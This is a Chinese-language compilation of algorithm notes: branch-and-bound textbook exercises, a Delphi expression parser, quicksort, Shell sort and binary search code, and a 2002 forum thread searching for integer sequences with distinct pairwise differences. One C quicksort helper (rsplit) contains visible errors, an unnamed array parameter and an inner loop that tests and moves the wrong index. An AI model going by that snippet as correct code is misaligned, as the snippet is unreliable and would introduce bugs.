9. 修改程序1 7 - 7，使得删除b b n o d e和H e a p N o d e类型的节点的任务放在程序的结尾处执行。

10. 1) 程序1 7 - 8中，若右孩子的u n值大于等于b e s t n，则将它加入最大堆中，如果将条件设为u n > b e s t n，程序能否正确执行呢？为什么？

2) 程序是否将u n≥b e s t n的左孩子加入最大堆中？

3) 修改程序，使得只将u n > b e s t n的节点加入到最大堆和生成的解空间树中。

11. 考察最大完备子图问题的解空间树。对于任意层（第i层）的子树中的节点x，令MinDegree(x) 为x 所包含的顶点的度的最小值。

1) 证明任何以x为根的子树的叶节点都不可能表示一个尺寸超过X . u n＝min{ X.cn+n-i+1,M i n D e g r e e (X)+1 }的完备子图。

2) 使用以上X . u n的定义重写B B M a x C l i q u e。

3) 比较两种B B M a x C l i q u e版本在运行时间及产生解空间树节点的数目上的不同。

12. 只使用最大优先队列，实现最大完备子图问题的最大收益分枝定界算法。即：不必保存一个部分解空间树，而在每一个最大优先队的节点内包含通向根的路径。

13. 修改程序1 7 - 8，使得删除b b n o d e和C l i q u e N o d e类型的节点的工作放在程序结尾处执行。

14. 修改程序1 7 - 9，使得s = n - 2的节点不进入优先队列，并且，将当前最优排列放在数组b e s t p中。当下一个E-节点的lcostbestc 时，算法终止。

15. 使用指向父节点的指针来实现部分解空间树，并使用包含l c o s t，c c，r c o s t和p t r（指向解空间树中对应节点的指针）域的优先队列来实现程序1 7 - 9。

16. 写出用F I F O分枝定界方法求解电路板排列问题的代码。代码必须输出最优电路板排列的排列次序及对应的密度。使用合适的数据来测试代码的正确性。

17. 用F I F O分枝定界方法来搜索一种电路板的排列，使得最长的网组的长度最小（参见4章练习1 7）。

18. 使用最小耗费分枝定界法来完成练习1 7。

19. 用最小耗费分枝定界算法求解4章练习1 8的顶点覆盖问题。

20. 用最大收益分枝定界算法求解4章练习1 9的简易最大切割问题。

21. 用最小耗费分枝定界算法求解4章练习2 0的机器设计问题。

22. 用最小耗费分枝定界算法求解4章练习2 1的网络设计问题。

23. 用F I F O分枝定界算法求解4章练习2 2的n -皇后放置问题。

* 24. 用F I F O分枝定界完成4章练习2 3。

* 25. 用F I F O分枝定界完成4章练习2 4。

* 26. 用F I F O分枝定界完成4章练习2 5。

* 27. 用最小耗费分枝定界完成4章练习2 3。

* 28. 用最小耗费分枝定界完成4章练习2 4。

* 29. 用最小耗费分枝定界完成4章练习2 5。

* 30. 用任意的分枝定界方法完成4章的练习2 5。在本练习中，必须把增加活节点的函数以及选择下一个E-节点的函数作为函数的参数。

（ 说明：本资料是根据《数据结构、算法与应用》（美，Sartaj Sahni著）一书第13-17章编辑、改写的。考虑到因特网传输速度等因素，大部分插图和公式不得不被删除。对于内容不连贯之处，请网友或读者参阅该书，敬请原谅。 ）

作者: liuchaohai


改进的字典压缩LZW编码

附件>>>> lzw.rar


表达式计算
数据结构（PASCAL语言实现）书上讲述了一个把所有符号和数字推堆栈的方法实现的表达式解析，给你一段网上找到的例子：

一款设计精巧的表达式解析器

---- 开发MIS系统时，报表设计中经常会碰到表达式解释器，完成用户自定义的公式运算。这种程序的设计需要有比较高的技巧，以下介绍一款用DELPHI4.0开发的程序[程序重在算法，语言特性很少，用其它语言的人也能读懂]，只要按自已的要求稍加修改，即可做成组件或全局方法发部。它支持 "加[+]、减[-]、乘[*]、除[/]、商[$：两整数相除，结果的整数部分]、模[%]、括号[（）]"四则混合运算，支持"与[&]、或[|]、异或[^]、左移[< ]、右移[ >]和非[!]"逻辑运算功能，同时它们可以出现在同一个表达式中，它们的优先级依次为括号、非、与或异或左右移、乘除商模、加减。如式：12.45+3*16 >2*(3+6*(3+2)-1)=12.45+3*4*32，计算结果为：396.45。程序包括两大部分功能：表达式拆解、因子计算，分别由两个类TBdsProc和TPUSHPOP完成。具体如下：

CDIKind=record

case id: Boolean of

True: (dval: Double);

False: (ival: Integer);

end;

CDKind：区别表达式中的整数和浮点数类型，

因为有些运算符不支持浮点数（如逻辑运算）。

ValKind = CDIKind;

TBdsProc = class

private

Fghpd : Integer;//识别并标记左右括号是否成对出现

function IsCalcFh(c: Char): boolean;

//判别一个字符是否运算符

function CopyRight(abds: String;start: Integer):

String;//截取字符串表达式

function BdsSs(var abds: String): ValKind;

//返回一个子表达式的值

function BdsYz(var abds: String): ValKind;

//表达式因子，如：15、(13+5)

function BdsItm(var abds: String): ValKind;

//读取表达式中的一个因子

public

function CalcValue(const bds: String): ValKind;

//返回计算结果

end;

TPUSHPOP = class

private

ffh: array [0..2] of Char;//符号数组

value: array [0..3] of CDIKind;//值数组

flevel: Byte;//因子个数

fisfh: Boolean;//识别等待输入值或运算符

fisnot: Boolean;//识别待计算数据项是否执行非运算

function Calcsj(av1,av2: CDIKind;fh: Char): CDIKind;

//执行两个数值的四则运算

function Calclg(av1,av2: CDIKind; fh: Char): CDIKind;

//执行两个数的逻辑运算

procedure Calccur;{当输入数据项满足四个数后

[依运算优先级层数求得,见下述算式解析原理]执行中间运算}

function IsLgFh(fh: Char): Boolean;

//一个符号是否逻辑运算符

function IsCcFH(fh: Char): Boolean;

// 一个符号乘除商模运算符

public

constructor Create;

procedure PushValue(avalue: CDIKind);//存入一个数据项

procedure PushFh(afh: Char);//存入一个符号

function CalcValue: CDIKind;//计算并返回值

end;

---- 表达式解析基本原理：

---- 1．表达式处理：

---- 表达式的一个个数据项组成，中间由运算符连接，每个数据项为一个分析基本分析单元。表达式中如果包含有改变运算优先级别的括号运算，先计出括号中式子的值，再把该值当一个数据项处理,这一点在程序设计中只要运用递归功就能实现。

---- 2．数据项计算处理

---- a >非运算：

---- 它为单目运算符，级别最高，在存入符号时做标记，存入数据时即时计算并去除标记。

---- b >表达式运算：

---- 设f1、f2、f3分别表示一二三级运算符，V1、V2、V3、V4分别表示顺序四个数，则极端表达式模型为R=V1 f1 V2 f2 V3 f3 V4 …，计算时顺序应为 R=…V4 f3 V3 f2 V2 f1 V1。为了简化运算，把其中运算级别最高的逻辑运算在存入数据时先计算完成, 初始化时设V1=0,第一个运算符设为'+'。则公式化为： R=…V4 f2(f1) V3 f2(f1) V2 f1 V1。这样，当V2与V3间的运算符级别为f2时，V4与V3间的运算符级别< =f2，则：V2 =（V2与V3计算值），V3后的值和运算符前移；若V2与V3间的运算级别为f1，可先算V1与V2，V2以后的值和运算符前移。则计算后的表达式为：R=V3 f2(f2) V2 f1 V1刚好满足循环取数条件。

---- 3．实现：

---- 程序比较长(TBdsProc和TPUSHPOP的源代码合计长度为400多行)，完整代码见附件，以下对一些重要实现方法做介绍：

---- < 1 >表达式拆解：由方法BdsSs和BdsYz完成表达式拆解和因子处理

function TBdsProc.BdsSs(var abds: String): ValKind;

var

c: Char;

lpp: TPushPop;

begin

lpp := TPushPop.Create;//建立数据计算对象

while abds< >'' do

begin

c := abds[1];

if IsCalcFh(c) then//是否运算符

begin

lpp.PushFh(c);//保存运算符

abds := CopyRight(abds,2);

end

else

begin

if c=')' then

begin

Dec(Fghpd);//括号匹配

abds := CopyRight(abds,2);

if Fghpd < 0 then

Raise Exception.Create('括号不配对');

Result := lpp.CalcValue;

//返回括号中的子项值，进行下一步计算

lpp.Free;

Exit;

end

else

begin

if c='(' then

Inc(Fghpd);//做括号层数标识

lpp.PushValue(BdsYz(abds));//取下一项的值。

end;

end;

end;

if Fghpd< >0 then

Raise Exception.Create('括号不配对');

Result := lpp.CalcValue;//返回最终运算值

lpp.Free;

end;

function TBdsProc.BdsYZ(var abds: String): ValKind;

begin

if abds< >'' then

begin

if abds[1]='(' then

begin

abds := CopyRight(abds,2);

Result := BdsSs(abds);//递归调用，求括号中的值

end

else

Result := BdsItm(abds);{读一个数据项，

如果包括函数定义，可以在该方法中定义接口或连接}

end;

end;

若表达式要支持函数功能，只要定义系统支持的函数，

在取行表达式因子BdsItm中加入连接函数定义即可，如下：

…..

else if (c< ='Z') and (c >='A') then

begin

bhs := 取出函数名及参数

Result := … //调用函数处理 (函数定义)

abds := 下一项

end

….

< 2 > 数据计算：主要包PushValue,PushFh,

Calccur分别完成存入数、符号、中间计算

procedure TPUSHPOP.PushValue(avalue: CDIKind);

begin

if fisfh=True then

Raise Exception.Create('缺少运算符');

if fisnot then//进行非运算

begin

if avalue.id then

Raise Exception.Create('浮点数不能做非运算');

avalue.ival := not avalue.ival;

fisnot := False;

end;

if IsLgFh(ffh[flevel]) then//运行逻辑运算

begin

value[flevel] := Calclg(value[flevel],

avalue,ffh[flevel]);

//与当前值做逻辑运算

end

else

begin

Inc(flevel);//存数位置指针加1

value[flevel] := avalue;//存入值

if flevel >2 then//数据个数达到4，进行中间运算

Calccur;

end;

fisfh := True;//输入符号可见

end;

procedure TPUSHPOP.PushFh(afh: Char);

begin

if (fisfh=false) then//非运算是一级

begin

if (afh='!') and (not fisnot) then//标识非运算

begin

fisnot := True;

Exit;

end

else

Raise Exception.Create('运算符重复');

End

Else

begin

ffh[flevel] := afh;//存入运算符

fisfh := False; 输入值可见

end;

end;

procedure TPUSHPOP.Calccur;

begin

if IsCcFh(ffh[1]) then//二级运算符

begin

value[1] := Calcsj(value[1],value[2],ffh[1]);

//计算2和3项的值

ffh[1] := ffh[2];//后序运符和值前移

value[2] := value[3];

end

else//一级运算符

begin

value[0] := Calcsj(value[0],value[1],ffh[0]);

//计算1和2项的值

value[1] := value[2];{ 后序运符和值前移,

2和3项的值不计算是为了保持第一个运算符为一级运算符}

value[2] := value[3];

ffh[0] := ffh[1];

ffh[1] := ffh[2];

end;

Dec(flevel);//存数位置指针减1

end;


快 速 排 序
快 速 排 序

基本思路：通过一次分割，将无序序列分成两部分，其中一部分的元素值均不大于后一部分的元素值。然后用同样的方法对每一部分进行分割，一直到每一个子序列的长度小于或等于1为止。

具体过程：设序列P进行分割。首先，从第一个、中间一个、最后一个元素中选出中项，设为P[k]，并将P[k]赋给t，再将序列中的第一个元素移到P[k]的位置上。然后，再设两个指针i、j分别指向起始和最后位置上：（1）将i逐渐增大，与此同时比较P[i]与t的大小，直到发现P[i]>t，将P[i]移到P[j]的位置上；（2）将j逐渐减小，与此同时比较P[j]与t的大小，直到发现P[j]<t，将P[j]移到P[i]的位置上；直到i=j为止，这时将t移到P[i]的位置上。最后就得到了排序结果。

C函数如下：

void prqck(p,n)

int n;double p[];

{

int m,i0,*i;

double *s;

void rsplit();

i=&i0;

if(n>1)

{

rsplit(p,n,i);

m=i0;prqck(p,m);

s=p+(i0+1);m=n-(i0+1);prqck(s,m);

}

return;

}

static void rsplit(p,n,m)

int n,*m;double[];

{

int i,j,k,l;

double t;

i=0;j=n-1;k=(i+j)/2;

if((p[i]>=p[j])&&(p[j]>=p[k])) l=j;

else if((p[i]>=p[k])&&(p[k]>=p[j])) l=k;

else l=i;

t=p[l];p[l]=p[i];

while(i!=j)

{

while((i<j)&&(p[j]>=t)) j=j-1;

if(i<j)

{

p[i]=p[j];i=i+1;

while((i<j)&&(p[j]<=t)) i=i-1;

if(i<j)

{p[j]=p[i];j=j-1;}

}

}

p[i]=t;*m=i;

return;

}

************************

般来说，冒泡法是程序员最先接触的排序方法，它的优点是原理简单，编程实现容易，但它的缺点就是--程序的大忌--速度太慢。下面我介绍一个理解上简单但编程实现上不是太容易的排序方法，我不知道它是不是现有排序方法中最快的，但它是我见过的最快的。排序同样的数组，它所需的时间只有冒泡法的4%左右。我暂时称它为“快速排序法”。

“快速排序法”使用的是递归原理，下面我结合一个例子来说明“快速排序法”的原理。首先给出一个数组{53，12，98，63，18，72，80，46，32，21}，先找到第一个数--53，把它作为中间值，也就是说，要把53放在一个位置，使得它左边的值比它小，右边的值比它大。{21，12，32，46，18，53，80，72，63，98}，这样一个数组的排序就变成了两个小数组的排序--53左边的数组和53右边的数组，而这两个数组继续用同样的方式继续下去，一直到顺序完全正确。

我这样讲你们是不是很胡涂，不要紧，我下面给出实现的两个函数：

void quicksort(int n[], int left,int right)//n就是需要排序的数组，left和right是你需要排序的左界和友界，如果要排序上面那个数组，那么left和right分别是0和9

{

int dp;

if (left<right) {

dp=partition(n,left,right);//这就是下面要讲到的函数，按照上面所说的，就是把所有小于53的数放到它的左边，大的放在右边，然后返回53在整理过的数组中的位置。

quicksort(n,left,dp-1);

quicksort(n,dp+1,right);//这两个就是递归调用，分别整理53左边的数组和右边的数组

}

}

我们上面提到先定位第一个数，然后整理这个数组，把比这个数小的放到它的左边，大的放右边，然后返回这中间值的位置，下面这函数就是做这个的。

int partition(int n[],int left,int right)

{

int lo,hi,pivot,t;

pivot=n[left];

lo=left-1;

hi=right+1;

while(lo+1!=hi) {

if(n[lo+1]<=pivot)

lo++;

else if(n[hi-1]>pivot)

hi--;

else {

t=n[lo+1];

n[++lo]=n[hi-1];

n[--hi]=t;

}

}

n[left]=n[lo];

n[lo]=pivot;

return lo;

}

这段程序并不难，应该很好看懂，我把过程大致讲一下，首先你的脑子里先浮现一个数组和三个指针，第一个指针称为p指针，在整个过程结束之前它牢牢的指向第一个数，第二个指针和第三个指针分别为lo指针和hi指针，分别指向最左边的值和最右边的值。lo指针和hi指针从两边同时向中间逼近，在逼近的过程中不停的与p指针的值比较，如果lo指针的值比p指针的值小，lo++，还小还++，再小再++，直到碰到一个大于p指针的值，这时视线转移到hi指针，如果hi指针的值比p指针的值大，hi--，还大还--，再大再--，直到碰到一个小于p指针的值。这时就把lo指针的值和hi指针的值做一个调换。持续这过程直到两个指针碰面，这时把p指针的值和碰面的值做一个调换，然后返回p指针新的位置。

我知道我怎么说你们还是不太明白，其实只要看程序就行了，有很多程序的语言是用人类的语言无法表达的。有什么问题，email我：allexit@hotmail.com。

*********************************

数据都保存在Items中

function RSplit(Left, Right: integer): integer;

var

L, H, P, T: integer;

begin

P := Items[Left];

L := Left - 1;

H := Right + 1;

while L + 1 <> H do

begin

if Items[L + 1] <= P then

Inc(L)

else if Items[H - 1] > P then

Dec(H)

else begin

T := Items[L + 1];

Inc(L);

Items[L] := Items[H - 1];

Dec(H);

Items[H] := T;

end;

end;

Items[Left] := Items[L];

Items[L] := P;

Result := L;

end;

procedure QuickSort(iStart, iEnd: integer);

var

Position: integer;

i, j, t: integer;

begin

if iStart < iEnd then

begin

Position := RSplit(iStart, iEnd);

QuickSort(iStart, Position - 1);

QuickSort(Position + 1, iEnd);

end;

end;

Invoke: QuickSort(0,Items.Count -1);

---------------------------------------

{

The following procedure sorts an Array with the

fast Shell-Sort algorithm.

Invented by Donald Shell in 1959,

the shell sort is the most efficient of the O(n2)

class of sorting algorithms

}

{

Die folgende Prozedur Sortiert ein Array mit

dem schnellem Shell-Sort Algorithmus.

}

Procedure Sort_Shell(var a: array of Word);

var

bis, i, j, k: LongInt;

h: Word;

begin

bis := High(a);

k := bis shr 1;// div 2

while k > 0 do

begin

for i := 0 to bis - k do

begin

j := i;

while (j >= 0) and (a[j] > a[j + k]) do

begin

h := a[j];

a[j] := a[j + k];

a[j + k] := h;

if j > k then

Dec(j, k)

else

j := 0;

end; // {end while]

end; // { end for}

k := k shr 1; // div 2

end; // {end while}

end;


二分法查找算法
二分法查找算法

// Code for BinarySearch

int BinarySearch(IntArrayType IntArray, int Low, int High, int Target)

{

int Mid, Difference;

while (Low <= High)

{

Mid = (Low + High) / 2;

Difference = IntArray[Mid] - Target;

if (Difference == 0) // IntArray[Mid] == Target

return Mid;

else if (Difference < 0) // IntArray[Mid] < Target

Low = Mid + 1;

else

High = Mid - 1;

}

return -1; // If reach here, Target was not found.

}

//////////////////////////////

Value,{ 需要查找的数据 }

L{ 数据列表最低 },H{ 数据列表最高 },M { 临时保存中间值的变量 }:integer;

ValueList:List for Sorted Data;{ 数据列表，已经排序 }

Result:=-1;

if (Value<ValueList[L]) or (Value>ValueList[H]) then exit;

while L<=H do

begin

M:=(L+H) div 2;

if ValueList[M]=Value then

begin

Result :=M;

Break;

end else if ValueList[M]>Value then

H:=M-1

else

L:=M+1;

end;


MD5算法

附件>>>> md5.rar


一个数列
一个数列

del_c_sharp (摩托～◎～◎～◎)

求一递增整数序列,共36个数,第一个数为1,后面数逐渐增大

要求:任意两个整数的差(大整数减去小整数)均不相同

如:1 2 4 8 .....

求所有情况中第36个数(也就是最大数)最小时的解,即输出这36个数

算法不难,关键是,如何让程序算法效率高,也就是如何在有限的时间内算出结果

计算时间最好在3个小时内

主　　题： del_c_sharp兄的大难题之大家继续讨论

作　　者： Lawrence444 (胖子)

等　　级：

信 誉 值： 100

所属论坛： 专题开发 数据结构与算法

问题点数： 200

回复次数： 115

发表时间： 2002-8-19 23:10:31

这可是目前版上最热的话题了，starfish等大牛为什么还不出来说几句啊，呵呵。

参考文献：以前的讨论：

http://www.csdn.net/expert/topic/931/931488.xml?temp=.9010126

http://www.csdn.net/expert/topic/934/934268.xml?temp=.1472284

del_c_sharp兄给出的题目如下：

求一递增整数序列,共36个数,第一个数为1,后面数逐渐增大

要求:任意两个整数的差(大整数减去小整数)均不相同

如:1 2 4 8 .....

求所有情况中第36个数(也就是最大数)最小时的解,即输出这36个数

本楼欢迎大家对此题目进行多方面的热烈讨论，如：解题的算法、是否NP完全、题目的转换、使用各种算法的可能性等等等等。。。。

不欢迎：

1。说答案是631。早就错了，请看以前的讨论。

2。说用动态规划得最优解。同上。

3。说答案是2^36，这个，应该不多吧。

4。看错题。请注意本题问的是任意两个数的差值均不相同。

~~~~

5。在这里贴未经验证的错误数列。如果算出答案又懒得写验证代码的话，用我的。

输入是一个文件hard.in，里面放数列，空格分割就行了。

#include <stdio.h>

#include <string.h>

void main()

{

int i,j;

int array[50];

int n;

int subval[3000];

i=0;

FILE *fp=fopen("hard.in","r");

memset(subval,0,sizeof(subval));

while(1){

if(fscanf(fp,"%d",&array[i])==EOF)

break;

i++;

}

n=i;

for(i=0;i<n;i++)

for(j=i+1;j<n;j++) {

if(subval[array[j]-array[i]]){

printf("Wrong at %d %d!",i,j);

return;

}

subval[array[j]-array[i]]++;

}

}

另给出目前网友gofor() 兄和ALNG(?) 兄得到的目前最好的解：

1 5 7 8 32 46 51 61 69 81 103 136 162 194 241 277 328 391 400 497 567 615 699 788 809 909 991 1077 1090 1155 1275 1291 1433 1510 1604 1632

另给出问题规模比较小（远小于36）时gofor()兄用穷举搜出来的最优解：

n 序列

2 2 1

3 4 3 1

3 4 2 1

4 7 6 3 1

4 7 5 2 1

5 12 11 8 3 1

5 12 10 5 4 1

5 12 10 5 2 1

5 12 9 8 3 1

6 18 17 14 8 6 1

6 18 17 14 8 3 1

6 18 17 10 7 5 1

6 18 17 10 6 4 1

6 18 16 11 5 2 1

6 18 15 13 9 2 1

6 18 14 12 9 2 1

6 18 13 11 5 2 1

7 26 25 22 16 8 3 1

7 26 25 19 15 6 3 1

7 26 25 15 10 7 3 1

7 26 24 23 16 10 5 1

7 26 24 21 12 8 2 1

7 26 24 20 17 12 2 1

7 26 24 19 13 5 4 1

7 26 24 19 11 5 2 1

7 26 23 22 14 8 3 1

7 26 22 17 11 4 3 1

8 35 34 31 26 20 13 3 1

8 35 33 23 16 10 5 2 1

9 45 44 40 33 20 18 10 4 1

9 45 42 36 28 26 13 6 2 1

10 56 55 50 46 33 30 22 15 3 1

10 56 54 42 35 27 24 11 7 2 1

11 73 72 69 60 45 40 26 19 9 3 1

11 73 72 64 54 49 42 21 17 15 4 1

11 73 71 65 55 48 34 29 14 5 2 1

11 73 70 59 57 53 32 25 20 10 2 1

12 86 84 80 62 57 46 43 31 18 11 10 1

12 86 77 76 69 56 44 41 30 25 7 3 1

13 107 105 102 82 70 64 48 37 22 18 9 8 1

13 107 100 99 90 86 71 60 44 38 26 6 3 1

回复人： dcyu(Dd) ( ) 信誉：100 2002-8-19 23:44:18 得分:0

不知gofor() 兄和ALNG(?) 的程序？

时间？何种CPU? 是穷举法吗？

挺不错的结果。

Top

回复人： gofor() ( ) 信誉：100 2002-8-20 0:39:09 得分:0

P4 1.5G 128M win2000, C++Builder 5

穷举法，算出n=13,　耗时10分钟。

算出n=36时，一个更好的结果：（耗时几分钟，只是运气好）

1 2 4 8 13 21 31 45 79 105 143 188 230 245 270 298 350 383 404 476 552 625 684 706 802 852 888 1012 1111 1162 1375 1422 1483 1539 1578 1627

Top

回复人： dcyu(Dd) ( ) 信誉：100 2002-8-20 2:02:53 得分:0

可以来这讨论：

http://www.csdn.net/expert/topic/947/947777.xml?temp=.4926569

抢生意了，呵呵！

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-20 10:05:28 得分:0

gofor, 行啊你！

Top

回复人： ALNG(?) ( ) 信誉：100 2002-8-20 10:15:40 得分:0

我的是PIII 1G 128M

贪心选择+随机算法改造

1632是手工设定了前5项得到的，

没有设定[完全由机器选择]的最好解是1653

1 6 7 9 16 28 39 56 70 74 90 126 165 222 247 288 333 376 448 477 555 581 640 748 850 894 1021 1045 1159 1230 1306 1383 1475 1488 1616 1653

但是再往前走就难了，很可能随机数序列循环出现了。

Top

回复人： ywqzxj(午青) ( ) 信誉：100 2002-8-20 12:35:39 得分:10

n=13

我的程序(死推)8分钟算到

1,3,6,26,38,44,60,71,86,90,99,100,107, elapsed:480971.810624

另一个最优解可能还得更长时间,但是及其比较差:C333,96mb

Top

回复人： ywqzxj(午青) ( ) 信誉：100 2002-8-20 12:51:50 得分:0

还有程序也很差:

{要算其它n 更改inumber,MY_TEST_MAXSHU}

bool inline insertdata(int midelt, int *icha)

{

if(icha[midelt-1] ==0)

icha[midelt-1] =1;

else

return false;

return true;

}

void inline iselect(int& ii,int& i0, int* icha)

{

// int i=0;

while(icha[i0] != 0)

i0++;

ii+=i0;

ii++;

}

#define MY_TEST_MAXSHU 190

void testnp()

{

int icha[MY_TEST_MAXSHU],ibcha[MY_TEST_MAXSHU],ishu[37],max,midelt,inumber;

int i=0,j=0,k=0,n=0,index,i0=0;

bool isok;

char s1s[2048];char *ps1s;

ishu[0]=1;

ishu[1]=1;

memset(icha,0,MY_TEST_MAXSHU*sizeof(int));

memset(ibcha,0,MY_TEST_MAXSHU*sizeof(int));

max=MY_TEST_MAXSHU;

inumber=13;

index=1;

i=ishu[index];

//max=225;

//i=ishu[index]+2;

MY_TEST_REPORT("c:\ss1.txt",NULL)

//MY_TEST_REPORT("c:\ss2.txt",NULL)

//MY_TEST_REPORT("c:\ss3.txt",NULL)

CElapsed ttime;

ttime.Begin();

sprintf(s1s,"number=%d; first=%d,max=%d",inumber,ishu[0],max);

MY_TEST_REPORT("c:\ss1.txt",s1s)

for(;index>0;)

{

iselect(i,i0,icha);

midelt = (inumber-index)*(inumber-1-index)/2;

if(i+midelt>max)

{

index--;

i0=0;

//{deal icha[]

memset(icha,0,MY_TEST_MAXSHU*sizeof(int));

for(j=0; j<index-1; j++)

{

for(k=j+1; k<index; k++)

{

midelt=ishu[k]-ishu[j];

if(!insertdata( midelt, icha))

AfxMessageBox("Bad");

}

}

memcpy(ibcha,icha,MY_TEST_MAXSHU*sizeof(int));

//}

i=ishu[index];

continue;

}

ishu[index]=i;

ishu[index+1]=i;

isok = true;

for(j=0;j<index;j++)

{

midelt = i - ishu[j];

isok=insertdata( midelt, icha);

if(!isok)

break;

}

/*//MY_TEST_REPORT("c:\ss2.txt",NULL)

ps1s=s1s;

ps1s+=sprintf(ps1s,"number=%d; first=%d,max=%d",inumber,ishu[0],max);

for(j=0;j<=index;j++)

{

ps1s+=sprintf(ps1s," %d=>%d",j+1,ishu[j]);

}

for(j=0;j<MY_TEST_MAXSHU;j++)

{

if(icha[j]!=0)

ps1s+=sprintf(ps1s,"%d,",j+1);

}

ps1s+=sprintf(ps1s,"");

MY_TEST_REPORT("c:\ss2.txt",s1s)*/

if(isok)//ok

{

/*ps1s=s1s;

ps1s+=sprintf(ps1s,"number=%d; first=%d,max=%d",inumber,ishu[0],max);

for(j=0;j<=index;j++)

{

ps1s+=sprintf(ps1s," %d=>%d",j+1,ishu[j]);

}

for(j=0;j<MY_TEST_MAXSHU;j++)

{

if(icha[j]!=0)

ps1s+=sprintf(ps1s,"%d,",j+1);

}

ps1s+=sprintf(ps1s,"");

MY_TEST_REPORT("c:\ss3.txt",s1s)*/

index++;

i0=0;

if(index<inumber)

{

//{deel ibcha[] from icha[]

memcpy(ibcha,icha,MY_TEST_MAXSHU*sizeof(int));

//}

}

else

{

//OK! write to file

ps1s=s1s;

ps1s+=sprintf(ps1s," ");

for(j=0;j<index;j++)

{

ps1s+=sprintf(ps1s,"%d,",ishu[j]);

}

ps1s+=sprintf(ps1s," elapsed:%lf",ttime.End());

MY_TEST_REPORT("c:\ss1.txt",s1s)

max = ishu[index-1];

index -= 2;

//{deal icha[]

if(index<1)index=1;

memset(icha,0,MY_TEST_MAXSHU*sizeof(int));

for(j=0; j<index-1; j++)

{

for(k=j+1; k<index; k++)

{

midelt=ishu[k]-ishu[j];

if(!insertdata( midelt, icha))

AfxMessageBox("Bad");

}

}

memcpy(ibcha,icha,MY_TEST_MAXSHU*sizeof(int));

//}

}

i=ishu[index];

}

else

{

//{deal icha[] from ibcha[]

memcpy(icha,ibcha,MY_TEST_MAXSHU*sizeof(int));

//}

}

}

//write complete to file;

ps1s=s1s;

ps1s+=sprintf(ps1s,"");

for(j=0;j<=index+1;j++)

{

ps1s+=sprintf(ps1s,"%d,",ishu[j]);

}

ps1s+=sprintf(ps1s,"i=%d",i);

ps1s+=sprintf(ps1s,", elapsed:%lf",ttime.End());

MY_TEST_REPORT("c:\ss1.txt",s1s)

}

Top

回复人： BinaryTreeEx(狂徒) ( ) 信誉：100 2002-8-20 12:59:56 得分:0

顺便提出一个算法，我时间有限希望有人写出程序。

一共36个数，a1,a2,a3...a36,相邻两个数相减可以得到35个数，他们是：

b12 = a2-a1, b23 = a3-a2,...b3536=a36-a35.题目要求a1 = 1 ,a36为最小

那么就是说，SubSum = b12+b23+...+b3536为最小，这个结论没有异议吧。

由此我提出一个算法。

首先构造一个ai的序列，他们是1，2，3，...35然后根据以下原则进行筛选。

判断相同差值的数是否存在，而且是从序列的右边开始判断，这样可以保证最小。如果存在那么用一个最小的新数替换其中的最大数，重复上面的过程直到求出解。下面详细说明相同差值存在的判断方法。所谓任意两个数之差，对于数列bi来说就是k个连续的数字的和，对于任意的k1,k2数列b中起点不同的两个连续子序列的和不同，那么这样的就是满足要求的解。其中1<=k1,k2<=35。

那么如何保证最小呢？显然我们开始给出的ai序列是最小的，只是有相同的差值。那么我们可以从那个序列开始每次替换一个数字，同时保证新得的到的序列是所有一次替换操作后中最小的（很容易保证）。替换后要求验证存在的相同差值是否减少了一个，如果是那么用同样的方法处理剩下的相同差值，否则继续替换。

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-8-20 14:38:05 得分:0

呵呵，算穷举的朋友们也要加油欧，现在好像还没有一个能快过我的穷举算法的呢。

/* The always right complete search algorithm for hard problem

proposed by del_c_sharp */

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <time.h>

int STOP;

int subval[1000]; // values generated by subtraction

int curlist[50],flist[50]; // flist stores the best list so far, curlist stores

// the current one

int mval=-1;

int prevans[50]={1,2,4,7,12,18,26,35,45,56,73,86,107}; // previous answers

clock_t startc,end;

int gennewsub(int n)

{

int i,j;

for(i=2;i<n;i++) // this way, unsatisfied results

if(subval[curlist[n]-curlist[i]]) // can be generated more quickly

return 0; // and that's what I want

for(i=1;i<n;i++)

subval[curlist[n]-curlist[i]]++;

return 1;

}

void removenewsub(int n)

{

int i,j;

for(i=1;i<n;i++)

subval[curlist[n]-curlist[i]]=0;

}

void startsearch(int n)

{

int start,i,j;

if(n>STOP){

if(curlist[n-1]<mval || mval==-1){

printf("%d",mval = curlist[n-1]);

printf("Current time: %.2f seconds",(clock()-startc)/CLK_TCK);

memcpy(flist,curlist,n*sizeof(int));

for(i=1;i<=STOP;i++)

printf("%d ",flist[i]);

printf("");

}

return;

}

start = n * (n-1) / 2 + 1; // start searching from C(n,2)+1

if(start<=curlist[n-1]){

for(j=1;j<STOP;j++)

if(!subval[j])

break;

start=curlist[n-1]+j; // or, first valid place later than before

}

for(i=start;mval==-1 || i<mval-prevans[STOP-n]+1;i++){

// if i is more than the maximum value to generate a better answer, no need to

// search anymore

curlist[n]=i;

if(n==2){

// the application of 对偶性

if(mval>0 && mval - curlist[2] - prevans[STOP-2] < curlist[2]-1)

break;

else

printf("Second place now searching: %d",i);

}

if(!gennewsub(n))

continue;

startsearch(n+1);

removenewsub(n);

}

}

void main()

{

int i,j;

scanf("%d",&STOP);

memset(subval,0,sizeof(subval));

memset(curlist,0,sizeof(curlist));

if(prevans[STOP-2]==0) // we don't search too big numbers! :)

return;

curlist[1]=1; // of course, the first item is 1

startc = clock();

startsearch(2); // now start searching

end = clock();

printf("%d",mval);

for(i=1;i<=STOP;i++)

printf("%d ",flist[i]);

printf("");

printf("Time elapsed: %.2f seconds",(end-startc)/CLK_TCK);

}

Top

回复人： Lawrence444(胖子) ( ) 信誉：100 2002-8-20 15:33:10 得分:0

突然想起来一条，有能力的人可以试试：

这题用Genetic系列的算法不好解，主要是因为很难交叉出有效的解。

这种题如果有一个好的估值函数，用Heuristic Search效果会很好。

所以：能不能用GA进化一个估值函数出来我们拿来搜？

Top

回复人： laozi(老子) ( ) 信誉：100 2002-8-20 16:58:06 得分:0

具体的代码懒地写了，因为要代码优化，我把思路贴出来，大家看看是否正确。

先从1开始

差数不能取0,因此取1,1+1=2,下个数是2

2：

差数取2(因为它是比前一个差数1大的最小的数),2+2=4,下个数是4

4:

差数取3(同理)，但前两个差数之和为3，也就是4-1=3，所以取4，4+4=8，下个数取8

8：

差数取5，1+2=3，2+4=6，1+2+4=7，都不是5，因此8+5=13，下个数取13

13：

差数取6，但2+4=6，因此取7，发现1+2+4=7，那么取8，下个数取21

21：

....

*******************************************************************

